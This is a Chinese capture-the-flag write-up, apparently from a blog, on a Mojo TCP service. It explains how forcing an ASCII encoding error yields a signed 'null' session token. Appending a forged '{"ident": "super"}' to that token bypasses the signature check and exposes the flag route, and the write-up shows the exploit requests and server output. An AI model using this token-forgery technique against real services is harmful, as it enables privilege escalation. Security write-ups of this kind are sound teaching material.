  • mojo实现了个tcp服务器,有几个路由,类似http吧(只是看着像),当成为super用户时即可访问flag1
fn init_routes(inout server: Server):
    server.route('index',   index)
    server.route('auth',    auth)
    server.route('reg',     register)
    server.route('flag1',   super[entry_flag])
    # ===========================================
    server.route('scour',   scour_route)
    server.route('col',     create_collections_route)
    server.route('ingest',  ingest_fragment_route)
    server.route('clear',   super[clear_route])
    server.route('name',    super[name_route])
    server.route('deflect', super[deflect_route])
    server.route('inspect', super[database_info])
  • 请求解析
def parse_req(self, line: bytes):
    line = line.strip()
    req = Request()

    target, res = line.split(b'|',1)

    req.target = target
    req.params = res.split(b',')

    return req
  • register,允许用户注册,不能为super,然后输出token,要求用户名必须为ascii字符
async fn register(
    inout serv: Server,
    owned req: Request,
    owned res: Response
) -> Int:
    var ident = req.next_param_str()
    _= await serv.app.generate_session(ident^)
    res.send_body("[Register][Token]" + serv.app.session_token + "[$Token][$Register]")
    return 0
async fn get_session_token(
        inout self
    ) -> Int:
        var pf = PyFunc('App.generate_session_token')
        pf.deadline = 1000
        pf.background = True

        var args = List[PythonObject](self.session)
        _= await pf.async_run_py_func(args^)

        self.session_token = pf.get_result()
        return 0

    async fn generate_session(
        inout self,
        owned token: String
    ) -> Int:
        var pf = PyFunc('App.generate_session')
        pf.deadline = 1000
        pf.background = True

        var args = List[PythonObject](token^)
        _= await pf.async_run_py_func(args^)

        self.session = pf.get_result()

        _= await self.get_session_token()
        return 0
@staticmethod
@ServerThread.register('App.generate_session')
@printex
def generate_session(ident):
    #print("[PY] Generating session.....")
    ident = limit_ascii(ident)

    collide = False
    if ident in App.EXISTING_USERS:
        collide = True

    for u in App.EXISTING_USERS:
        for c in u:
            if c in ident:
                collide = True
                break

    if collide:
        ident += os.urandom(8).hex()
    
    App.EXISTING_USERS.add(ident)
    return {'ident': ident}

@staticmethod
@ServerThread.register('App.generate_session_token')
@printex
def generate_session_token(session: dict):
    j = json.dumps(session)
    h = sha1(j.encode() + App.SECRET_KEY).hexdigest()
    return f'{h}|{j}|'
def limit_ascii(val):
    if isinstance(val, str):
        val = val.encode('ascii')
    if isinstance(val, bytes):
        val = val.decode('ascii')
    if not isinstance(val, str):
        val = str(val)
    
    return ''.join(
        c for c in val
        if c in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_ !@#$%^&*()-_=+[]{}|;:,.<>?/\\\'"'
    )
  • 注意到,可使其在limit_ascii处报错退出,此时App.session将会被赋值为null,此时生成的token将为sha1(SECRET_KEY)|null|
>>> from json import dumps
>>> dumps(None)
'null'
Traceback (most recent call last):
  File "/opt/./src/pythread.py", line 93, in entrypoint
    self.result = pool.apply(self.target, self.args)
  File "/opt/conda/lib/python3.8/multiprocessing/pool.py", line 357, in apply
    return self.apply_async(func, args, kwds).get()
  File "/opt/conda/lib/python3.8/multiprocessing/pool.py", line 771, in get
    raise self._value
UnicodeEncodeError: 'ascii' codec can't encode character '\xff' in position 0: ordinal not in range(128)

[Signal][Register][Token]f6be31636eb2dd602420313982081de809a4129c|null|[$Token][$Register][$Signal]
[Enquiry]
  • auth,校验token,并获取用户身份
@staticmethod
@ServerThread.register('App.generate_session_token')
@printex
def generate_session_token(session: dict):
    j = json.dumps(session)
    h = sha1(j.encode() + App.SECRET_KEY).hexdigest()
    return f'{h}|{j}|'

@staticmethod
@ServerThread.register('App.load_token')
@printex
def load_token(token: str):
    if not App.validate_token(token):
        raise Exception("Invalid token")

    token_body = token.split('{',1)[1].split('|',1)[0]

    return json.loads('{'+token_body)

@staticmethod
def validate_token(token: str):
    token = token.encode()
    sig, data = token.split(b'|',2)[:2]
    calc = sha1(data + App.SECRET_KEY).hexdigest()

    if sig == calc.encode():
        return True

    return False
  • 正常情况下,tokensha1().hexdigest()|{"ident":"username"}|,此时load_token可正常获取username,但tokenf6be31636eb2dd602420313982081de809a4129c|null|时将会发生越界,我们可以借此伪造出super
[Wired]Reaching out; Contact system***[$Wired]
[Enquiry]
auth|f6be31636eb2dd602420313982081de809a4129c|null|
[PY] Exception in <function App.load_token at 0x7be76bb4f700> list index out of range
[PY] Stack
 Traceback (most recent call last):
  File "/opt/./src/util.py", line 31, in wrapper
    return func(*args, **kwargs)
  File "/opt/./src/app.py", line 56, in load_token
    token_body = token.split('{',1)[1].split('|',1)[0]
IndexError: list index out of range
[Wired]Reaching out; Contact system***[$Wired]
[Enquiry]
auth|f6be31636eb2dd602420313982081de809a4129c|null|{"ident": "super"}
[Signal]authenticated[$Signal]
[Enquiry]
flag1|
Entering Super route
[Signal][Flag1]flug{ExamplePlaceholderFlagn24:n10j9HgLP2jXk36TE-W4Y9ywn5n8qH-IWpJT9rMchILB5c8kHzTU7Pg1YoW7lcL8lMTFzCRFHaE7abJ_}[$Flag1][$Signal]
[Enquiry]
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇